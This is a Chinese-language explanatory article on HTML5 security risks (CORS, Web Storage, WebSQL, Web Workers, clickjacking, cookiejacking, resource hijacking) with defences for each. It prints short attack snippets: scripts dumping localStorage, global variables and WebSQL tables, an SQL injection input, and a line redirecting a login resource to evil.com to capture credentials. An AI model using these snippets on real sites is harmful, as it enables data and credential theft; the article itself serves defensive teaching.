- 相關(guān)推薦
HTML5的安全風(fēng)險詳析
關(guān)于HTML5存在的安全風(fēng)險你了解多少?下面YJBYS小編為大家詳細解析一下HTML5的安全風(fēng)險!希望對大家有所幫助!
一、CORS攻擊
CORS-CrossOrigin Resources Sharing，也即跨源資源共享，它定義了一種瀏覽器和服務(wù)器交互的方式來(lái)確定是否允許跨域請求。它是一個(gè)妥協(xié)，有更大的靈活性，但比起簡(jiǎn)單地允許所有這些的要求來(lái)說(shuō)更加安全。簡(jiǎn)言之，CORS就是為了讓AJAX可以實(shí)現可控的跨域訪(fǎng)問(wèn)而生的。
一、從SOP到CORS
SOP就是Same Origin Policy同源策略，指一個(gè)域的文檔或腳本，不能獲取或修改另一個(gè)域的文檔的屬性。也就是Ajax不能跨域訪(fǎng)問(wèn)，我們之前的Web資源訪(fǎng)問(wèn)的根本策略都是建立在SOP上的。它導致很多web開(kāi)發(fā)者很痛苦，后來(lái)搞出很多跨域方案，比如JSONP和flash socket。如下圖所示：
后來(lái)出現了CORS-CrossOrigin Resources Sharing，也即跨源資源共享，它定義了一種瀏覽器和服務(wù)器交互的方式來(lái)確定是否允許跨域請求。它是一個(gè)妥協(xié)，有更大的靈活性，但比起簡(jiǎn)單地允許所有這些的要求來(lái)說(shuō)更加安全。簡(jiǎn)言之，CORS就是為了讓AJAX可以實(shí)現可控的跨域訪(fǎng)問(wèn)而生的。示意如下圖所示：
現在W3C的官方文檔目前還是工作草案，但是正在朝著(zhù)W3C推薦的方向前進(jìn)。不過(guò)目前許多現代瀏覽器都提供了對它的支持。
服務(wù)器端對于CORS的支持，主要就是通過(guò)設置Access-Control-Allow-Origin來(lái)進(jìn)行的。如果瀏覽器檢測到相應的設置，就可以允許Ajax進(jìn)行跨域的訪(fǎng)問(wèn)。例如：
Access–Control-Allow-Origin
應用CORS的系統目前包括Face.com、GoogleCloudStorage API等，主要是為開(kāi)放平臺向第三方提供訪(fǎng)問(wèn)的能力。
二、CORS帶來(lái)的風(fēng)險
CORS非常有用，可以共享許多內容，不過(guò)這里存在風(fēng)險。因為它完全是一個(gè)盲目的協(xié)議，只是通過(guò)HTTP頭來(lái)控制。
它的風(fēng)險包括：
1、HTTP頭只能說(shuō)明請求來(lái)自一個(gè)特定的域，但是并不能保證這個(gè)事實(shí)。因為HTTP頭可以被偽造。
所以未經(jīng)身份驗證的跨域請求應該永遠不會(huì )被信任。如果一些重要的功能需要暴露或者返回敏感信息，應該需要驗證Session ID。
2、第三方有可能被入侵
舉一個(gè)場(chǎng)景，FriendFeed通過(guò)跨域請求訪(fǎng)問(wèn)Twitter，FriendFeed請求tweets、提交tweets并且執行一些用戶(hù)操作，Twitter提供響應。兩者都互相相信對方，所以FriendFeed并不驗證獲取數據的有效性，Twitter也針對Twitter開(kāi)放了大部分的功能。
但是當如果Twitter被入侵后：
FriendFeed總是從Twitter獲取數據，沒(méi)有經(jīng)過(guò)編碼或者驗證就在頁(yè)面上顯示這些信息。但是Twitter被入侵后，這些數據就可能是有害的。
或者FriendFeed被入侵時(shí)：
Twitter響應FriendFeed的請求，例如發(fā)表Tweets、更換用戶(hù)名甚至刪除賬戶(hù)。當FriendFeed被入侵后，攻擊者可以利用這些請求來(lái)篡改用戶(hù)數據。
所以對于請求方來(lái)說(shuō)驗證接收的數據有效性和服務(wù)方僅暴露最少最必須的功能是非常重要的。
3、惡意跨域請求
即便頁(yè)面只允許來(lái)自某個(gè)信任網(wǎng)站的請求，但是它也會(huì )收到大量來(lái)自其他域的跨域請求。.這些請求有時(shí)可能會(huì )被用于執行應用層面的DDOS攻擊，并不應該被應用來(lái)處理。
例如，考慮一個(gè)搜索頁(yè)面。當通過(guò)'%'參數請求時(shí)搜索服務(wù)器會(huì )返回所有的記錄，這可能是一個(gè)計算繁重的要求。要擊垮這個(gè)網(wǎng)站，攻擊者可以利用XSS漏洞將JavaScript腳本注入某個(gè)公共論壇中，當用戶(hù)訪(fǎng)問(wèn)這個(gè)論壇時(shí)，使用它的瀏覽器重復執行這個(gè)到服務(wù)器的搜索請求�；蛘呒词共徊捎每缬蛘埱�，使用一個(gè)目標地址包含請求參數的圖像元素也可以達到同樣的目的。如果可能的話(huà)，攻擊者甚至可以創(chuàng )建一個(gè)WebWorker執行這種攻擊。這會(huì )消耗服務(wù)器大量的資源。
有效的解決辦法是通過(guò)多種條件屏蔽掉非法的請求，例如HTTP頭、參數等。
4、內部信息泄漏
假定一個(gè)內部站點(diǎn)開(kāi)啟了CORS，如果內部網(wǎng)絡(luò )的用戶(hù)訪(fǎng)問(wèn)了惡意網(wǎng)站，惡意網(wǎng)站可以通過(guò)COR(跨域請求)來(lái)獲取到內部站點(diǎn)的內容。
5、針對用戶(hù)的攻擊
上面都是針對服務(wù)器的攻擊，風(fēng)險5則針對用戶(hù)。比方說(shuō)，攻擊者已經(jīng)確定了你可以全域訪(fǎng)問(wèn)的productsearch.php頁(yè)面上存在SQL注入漏洞。 攻擊者并不是直接從它們的系統數據庫中獲取數據，他們可能會(huì )編寫(xiě)一個(gè)JavaScript數據采集腳本，并在自己的網(wǎng)站或者存在XSS問(wèn)題的網(wǎng)站上插入這段腳本。當受害者訪(fǎng)問(wèn)含有這種惡意JavaScript腳本的網(wǎng)站時(shí)，它的瀏覽器將執行針對“productsearch.php”的SQL注入攻擊，采集所有的數據并發(fā)送給攻擊者。檢查服務(wù)器日志顯示是受害人執行了攻擊，因為除了來(lái)自Referrer的HTTP頭一般沒(méi)有其他日志記錄。受害者并不能說(shuō)他的系統被攻破，因為沒(méi)有任何任何惡意軟件或系統泄漏的痕跡。
三、攻擊工具
四、防御之道
1、不信任未經(jīng)身份驗證的跨域請求，應該首先驗證Session ID或者Cookie。
2、對于請求方來(lái)說(shuō)驗證接收的數據有效性，服務(wù)方僅暴露最少最必須的功能。
3、通過(guò)多種條件屏蔽掉非法的請求，例如HTTP頭、參數等。
二、Web Storage攻擊
HTML5支持WebStorage，開(kāi)發(fā)者可以為應用創(chuàng )建本地存儲，存儲一些有用的信息。例如LocalStorage可以長(cháng)期存儲，而且存放空間很大，一般是5M，極大的解決了之前只能用Cookie來(lái)存儲數據的容量小、存取不便、容易被清除的問(wèn)題。這個(gè)功能為客戶(hù)端提供了極大的靈活性。
一、WebStorage簡(jiǎn)介
HTML5支持WebStorage，開(kāi)發(fā)者可以為應用創(chuàng )建本地存儲，存儲一些有用的信息。例如LocalStorage可以長(cháng)期存儲，而且存放空間很大，一般是5M，極大的解決了之前只能用Cookie來(lái)存儲數據的容量小、存取不便、容易被清除的問(wèn)題。這個(gè)功能為客戶(hù)端提供了極大的靈活性。
二、攻擊方式
LocalStorage的API都是通過(guò)JavaScript提供的，這樣攻擊者可以通過(guò)XSS攻擊竊取信息，例如用戶(hù)token或者資料。攻擊者可以用下面的腳本遍歷本地存儲。
if(localStorage.length){
for(I in localStorage) {
console.log(i);
console.log(localStorage.getItem(i));
}
}
同時(shí)要提一句，LocalStorage并不是唯一暴露本地信息的方式。我們現在很多開(kāi)發(fā)者有一個(gè)不好的習慣，為了方便，把很多關(guān)鍵信息放在全局變量里，例如用戶(hù)名、密碼、郵箱等等。數據不放在合適的作用域里會(huì )帶來(lái)嚴重的安全問(wèn)題，例如我們可以用下面的腳本遍歷全局變量來(lái)獲取信息。
for(iin window) {
obj=window[i];
if(obj!=null||obj!=undefined)
var type =typeof(obj);
if(type=="object"||type=="string") {
console.log(“Name:”+i);
try {
my = JSON.stringify(obj);
console.log(my);
} catch(ex) {}
}
}
三、攻擊工具
HTML5dump的定義是“JavaScriptthat dump all HTML5 local storage”，它也能輸出HTML5 SessionStorage、全局變量、LocalStorage和本地數據庫存儲。
Shell of the Future是一個(gè)反向WebShell處理器，它利用HTML5的跨站請求來(lái)劫持會(huì )話(huà)。
四、防御之道
對于WebStorage攻擊的防御措施是：
1、數據放在合適的作用域里
例如用戶(hù)sessionID就不要用LocalStorage存儲，而需要放在sessionStorage里。而用戶(hù)數據不要儲存在全局變量里，而應該放在臨時(shí)變量或者局部變量里。
2、不要存儲敏感的信息
因為我們總也無(wú)法知道頁(yè)面上是否會(huì )存在一些安全性的問(wèn)題，一定不要將重要的數據存儲在WebStorage里。
三、WebSQL攻擊
數據庫安全一直是后端人員廣泛關(guān)注和需要預防的問(wèn)題。但是自從HTML5引入本地數據庫和WebSQL之后，前端開(kāi)發(fā)對于數據庫的安全也必須要有所了解和警惕。WebSQL的安全問(wèn)題通常表現為兩個(gè)部分。
一、WebSQL安全風(fēng)險簡(jiǎn)介
數據庫安全一直是后端人員廣泛關(guān)注和需要預防的問(wèn)題。但是自從HTML5引入本地數據庫和WebSQL之后，前端開(kāi)發(fā)對于數據庫的安全也必須要有所了解和警惕。WebSQL的安全問(wèn)題通常表現為兩個(gè)部分：
第一種是SQL注入：和本地數據庫一樣，攻擊者可以通過(guò)SQL注入點(diǎn)來(lái)進(jìn)行數據庫攻擊。
另外一方面，如果Web App有XSS漏洞，那么本地數據很容易泄漏，可以想想本地數據庫里存儲了用戶(hù)最近交易記錄或者私信的情況。
二、WebSQL安全風(fēng)險詳析
1、SQL注入
例如我們有一個(gè)URL為http:/blog.csdn.net/hfahe?id=1，它接收了一個(gè)id參數來(lái)進(jìn)行本地數據庫查詢(xún)并輸出，對應的SQL語(yǔ)句為“select name from user where id = 1”。
但是針對這個(gè)簡(jiǎn)單的SQL查詢(xún)，攻擊者可以構造一個(gè)虛假的輸入數據“1 or 1 = 1”，那么我們的SQL語(yǔ)句將變?yōu)?ldquo;select name from user where id = 1 or 1 = 1”。這就相當糟糕了，因為1=1這個(gè)條件總是成立的，那么這條語(yǔ)句將遍歷數據庫user表里的所有記錄并進(jìn)行輸出。
利用這種方式，攻擊者可以構造多種攻擊的SQL語(yǔ)句，來(lái)操縱用戶(hù)的本地數據庫記錄。
2、XSS與數據庫操縱
在有XSS漏洞的情況下，攻擊者獲取本地數據需要如下幾個(gè)步驟：
1)獲取JavaScript數據庫對象
2)獲取SQLite上的表結構
3)獲取數據表名
4)操作數據
例如如下腳本完整的實(shí)現了上面的步驟，我在Chrome控制臺里運行即可得到用戶(hù)本地數據庫的表名，利用這個(gè)表名攻擊者可以用任何SQL語(yǔ)句來(lái)完成攻擊。
var dbo;
var table;
var usertable;
for(i in window) {
obj = window[i];
try {
if(obj.constructor.name=="Database"){
dbo = obj;
obj.transaction(function(tx){
tx.executeSql('SELECT name FROM sqlite_master WHERE type=\'table\'', [], function(tx,results) {
table = results;
},null);
});
}
} catch(ex) {}
}
if(table.rows.length > 1)
usertable = table.rows.item(1).name;
三、防御之道
針對WebSQL攻擊，我們有如下方法預防：
1) 檢查輸入類(lèi)型，過(guò)濾危險字符
我們需要保證輸入類(lèi)型符合預期，例如上面的id參數一定是數字類(lèi)型;同時(shí)過(guò)濾掉危險的關(guān)鍵字和符號，像PHP里addslashes這個(gè)函數的作用一樣。
2) 在SQL語(yǔ)句中使用參數形式
SQL語(yǔ)句是可以用參數形式的，例如
executeSql("SELECTname FROM stud WHERE id=" + input_id)
這種字符串拼接的形式并不安全，可以換為
executeSql("SELECTname FROM stud WHERE id=?“, [input_id]);)
這樣能保證參數的輸入符合設定的類(lèi)型。
3)謹慎對待每一次SQL操作
無(wú)論是select、modify、update或者delete，你編寫(xiě)的任何一條SQL語(yǔ)句操作都有可能成為攻擊者的攻擊對象，造成重大損失，所以都必須要謹慎對待。
4)不要存儲重要數據
本地數據庫永遠透明而不安全，重要的數據必須要存儲在服務(wù)器上，本地數據庫里沒(méi)有重要數據就不會(huì )對用戶(hù)造成重大損失。
5)杜絕XSS漏洞
XSS攻擊的防御將會(huì )在專(zhuān)門(mén)章節闡述，本文不展開(kāi)詳析。
四、Web Worker攻擊
由于JavaScript是單線(xiàn)程執行的，在執行過(guò)程中瀏覽器不能執行其它JavaScript腳本，UI渲染線(xiàn)程也會(huì )被掛起，從而導致瀏覽器進(jìn)入僵死狀態(tài)。使用WebWorker可以將計算過(guò)程放入一個(gè)新線(xiàn)程里去執行將避免這種情況的出現。
一、WebWorker介紹
由于JavaScript是單線(xiàn)程執行的，在執行過(guò)程中瀏覽器不能執行其它JavaScript腳本，UI渲染線(xiàn)程也會(huì )被掛起，從而導致瀏覽器進(jìn)入僵死狀態(tài)。使用WebWorker可以將計算過(guò)程放入一個(gè)新線(xiàn)程里去執行將避免這種情況的出現。這樣我們可以同時(shí)執行多個(gè)JS任務(wù)而不會(huì )阻塞瀏覽器，非常適合異步交互和大規模計算，這在以前是很難做到的。
下面一張圖形象的揭示了WebWorker的作用：沒(méi)有WebWorker時(shí)，如果我們要煎一個(gè)雞蛋餅，需要先和面粉，然后打雞蛋，最后才能煎餅;使用WebWorker，可以在和面粉的同時(shí)打雞蛋，這兩者同時(shí)進(jìn)行，都完成后就能開(kāi)始煎餅，極大的縮短了等待的時(shí)間。
但是這樣一個(gè)好的特性也會(huì )引入攻擊的可能。
二、WebWorker攻擊
1、Botnet
攻擊的方式包括DDos攻擊、發(fā)送垃圾郵件，用戶(hù)一旦訪(fǎng)問(wèn)惡意頁(yè)面或者網(wǎng)站時(shí)，頁(yè)面的惡意代碼就能把用戶(hù)的瀏覽器當作肉雞，利用WebWorker大規模執行多線(xiàn)程攻擊，例如DDos攻擊、發(fā)送垃圾郵件或者進(jìn)行網(wǎng)絡(luò )嗅探。
DDOS攻擊(分布式拒絕服務(wù)攻擊)
2、postMessage帶來(lái)的問(wèn)題
WebWorker無(wú)法訪(fǎng)問(wèn)DOM，只能通過(guò)postMessageAPI和主線(xiàn)程通信。postMessage在HTML5中被引入，用來(lái)解決跨域或者跨線(xiàn)程數據交互的問(wèn)題。但是如果messaging可以接收任何來(lái)源的信息，此頁(yè)面有可能會(huì )被攻擊;另外postMessage不通過(guò)服務(wù)器，如果不經(jīng)過(guò)驗證和過(guò)濾，可能成為XSS注入點(diǎn)。例如如下代碼沒(méi)有對輸入數據進(jìn)行驗證和清洗，攻擊者完全可以構造惡意的data來(lái)注入頁(yè)面DOM，構造XSS攻擊，形如“>”等等。
worker.addEventListener(‘message’,function(e) {
document.getElementById(‘result’).innerHTML = e.data;
}, false);
三、攻擊工具
Ravan是一個(gè)JS的分布式計算系統，可以用HTML5Web Worker通過(guò)后臺加密的JS多線(xiàn)程腳本來(lái)執行蠻力攻擊。
四、預防之道
1、對于用戶(hù)來(lái)說(shuō)，不要訪(fǎng)問(wèn)不安全的站點(diǎn)。
2、使用postMessage時(shí)需要驗證來(lái)源可信;另外不要使用innerHTML，現代瀏覽器提供了textContent屬性，可以幫助對HTML標簽進(jìn)行過(guò)濾，或者你可以自行編寫(xiě)過(guò)濾的邏輯和函數。
五、劫持攻擊
下面我們要講到一類(lèi)的HTML5安全問(wèn)題，也就是劫持的問(wèn)題。
一、ClickJacking-點(diǎn)擊劫持
這種攻擊方式正變得越來(lái)越普遍。被攻擊的頁(yè)面作為iframe，用Mask的方式設置為透明放在上層，惡意代碼偷偷地放在后面的頁(yè)面中，使得一個(gè)頁(yè)面看起來(lái)似乎是安全的，然后誘騙用戶(hù)點(diǎn)擊網(wǎng)頁(yè)上的內容，達到竊取用戶(hù)信息或者劫持用戶(hù)操作的目的。下圖中，欺詐的頁(yè)面放置在下層，被攻擊的銀行頁(yè)面作為透明的層放置在上層，用戶(hù)看到的是欺詐頁(yè)面上顯示的信息并進(jìn)行輸入和點(diǎn)擊，但是真正的用戶(hù)行為是發(fā)生在銀行頁(yè)面上的。
想象一下，點(diǎn)擊劫持可以誘使你發(fā)布一條虛假微博、或者發(fā)送一封虛假郵件甚至盜取你的個(gè)人信息。例如下圖可以誘使我們發(fā)布一條虛假的Twitter消息。
這里有一個(gè)測試工具clickjacktest可以檢測你的頁(yè)面是否有點(diǎn)擊劫持的風(fēng)險，你可以輸入一個(gè)網(wǎng)址并點(diǎn)擊Test，如果頁(yè)面可以正常顯示并加載，那么表示這個(gè)頁(yè)面存在被點(diǎn)擊劫持攻擊的風(fēng)險，如果頁(yè)面顯示為一片空白，那么表示頁(yè)面比較安全。
二、CookieJacking-Cookie劫持
ClickJacking只涉及點(diǎn)擊操作，但是HTML5的拖放API使得這種攻擊擴大到拖放操作。因為現在Web應用里，有大量需要用戶(hù)拖放完成的操作。在同源策略里，一個(gè)域的Cookie只能被本域所訪(fǎng)問(wèn)，但是拖放操作是不受同源策略限制的，這樣利用拖放操作、XSS和其他技巧，可以構造跨域合法請求，劫持Cookie。
實(shí)現原理其實(shí)和ClickJacking類(lèi)似，只要欺騙用戶(hù)進(jìn)行拖放行為，就可以把用戶(hù)某個(gè)域的信息發(fā)送到另外一個(gè)域里。這個(gè)其實(shí)很容易做到，之前有一個(gè)研究者就在Facebook上建立了一個(gè)應用，這個(gè)應用的功能是讓用戶(hù)把圖片上美女的衣服拖拽下來(lái)。我想可能大多數人都會(huì )去嘗試而且不會(huì )有警惕心理。
我們應當如何防止ClickJacking、CookieJacking呢?
1、X-Frame-Options：所有的現代瀏覽器都支持X-Frame-Options HTTP頭，這個(gè)頭允許頁(yè)面被iframe使用時(shí)是否正常渲染。下圖中的頁(yè)面就是當X-Frame-Options生效時(shí)的效果。
2、JavaScript方式
這種方式非常常見(jiàn)，具體代碼就是：
if (top !==window)
top.location = window.location.href;
Facebook和Twitter都使用了這種方式，但是這種方式并不是完全奏效的，例如攻擊者可以使用204轉向或者禁用JavaScript的方式來(lái)繞過(guò)(例如iframe沙箱)。
不過(guò)現在至少80%以上的網(wǎng)站都沒(méi)有注意到點(diǎn)擊劫持和cookie劫持的問(wèn)題并加以保護。我這篇文章的主要目的就是提醒大家注意到這種隱蔽的攻擊方式并有針對性的進(jìn)行防御。
三、CORJacking-跨域資源劫持
CORJacking是指跨源資源劫持。HTML5應用有各種不同的資源，例如Flash文件，Silverligh，視頻，音頻等，這些資源可以通過(guò)DOM訪(fǎng)問(wèn)和控制。如果頁(yè)面存在XSS漏洞，那么攻擊者可能通過(guò)跨域資源的劫持進(jìn)行攻擊。例如下面的代碼載入了一個(gè)swf文件，作為用戶(hù)登錄框，這里面我們可以實(shí)現一些加密的邏輯。
當頁(yè)面存在XSS漏洞時(shí)，攻擊者可以利用如下腳本把swf文件替換為欺詐的虛假資源。
document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’;
那么當用戶(hù)在這樣的登錄框里輸入自己的用戶(hù)名和密碼并登錄時(shí)，他的帳號就已經(jīng)被盜取了。
這個(gè)問(wèn)題在不同瀏覽器里面表現是不一致的，有興趣的朋友可以下去自行測試。
完結篇：HTML5對安全的改進(jìn)
HTML5對舊有的安全策略進(jìn)行了非常多的補充。HTML5為iframe元素增加了sandbox屬性防止不信任的Web頁(yè)面執行某些操作，例如訪(fǎng)問(wèn)父頁(yè)面的DOM、執行腳本、訪(fǎng)問(wèn)本地存儲或者本地數據庫等等。
HTML5對舊有的安全策略進(jìn)行了非常多的補充。
一、iframe沙箱
HTML5為iframe元素增加了sandbox屬性防止不信任的Web頁(yè)面執行某些操作，例如訪(fǎng)問(wèn)父頁(yè)面的DOM、執行腳本、訪(fǎng)問(wèn)本地存儲或者本地數據庫等等。但是這個(gè)安全策略又會(huì )帶來(lái)另外的風(fēng)險，這很有趣，例如ClickJacking攻擊里阻止JavaScript腳本的運行來(lái)繞過(guò)JavaScript的防御方式。
二、CSP內容安全策略
XSS通過(guò)虛假內容和誘騙點(diǎn)擊來(lái)繞過(guò)同源策略。 XSS攻擊的核心是利用了瀏覽器無(wú)法區分腳本是被第三方注入的，還是真的是你應用程序的一部分。CSP定義了Content-Security-Policy HTTP頭來(lái)允許你創(chuàng )建一個(gè)可信來(lái)源的白名單，使得瀏覽器只執行和渲染來(lái)自這些來(lái)源的資源，而不是盲目信任服務(wù)器提供的所有內容。即使攻擊者可以找到漏洞來(lái)注入腳本，但是因為來(lái)源不包含在白名單里，因此將不會(huì )被執行。
三、XSS過(guò)濾器
Chrome、Safari這樣的現代瀏覽器也構建了安全防御措施，在前端提供了XSS過(guò)濾器。例如http://test.jiangyujie.com/?text=
在Chrome中將無(wú)法得到執行，如下圖所示。
四、其他
另外HTML5的應用程序訪(fǎng)問(wèn)系統資源比Flash更受限制。
最后，關(guān)于HTML5專(zhuān)門(mén)的安全規范目前還在討論中，有的人希望分散到HTML5規范的各個(gè)章節，有的人希望單獨列出，目前沒(méi)有單獨的內容，因為不僅要考慮Web App開(kāi)發(fā)者的安全，還要考慮實(shí)現HTML5支持的廠(chǎng)商，對它們進(jìn)行規范和指導。
我個(gè)人認為HTML5的安全規范將會(huì )有一個(gè)統一的章節來(lái)進(jìn)行闡述，并在各個(gè)功能模塊相應的提及。
【HTML5的安全風(fēng)險詳析】相關(guān)文章：
詳析托福IntegratedWriting得分點(diǎn)03-06
詳析漢語(yǔ)對英語(yǔ)學(xué)習的負遷移03-06
詳析三層交換原理07-28
2017雅思寫(xiě)作高分語(yǔ)法結構詳析03-07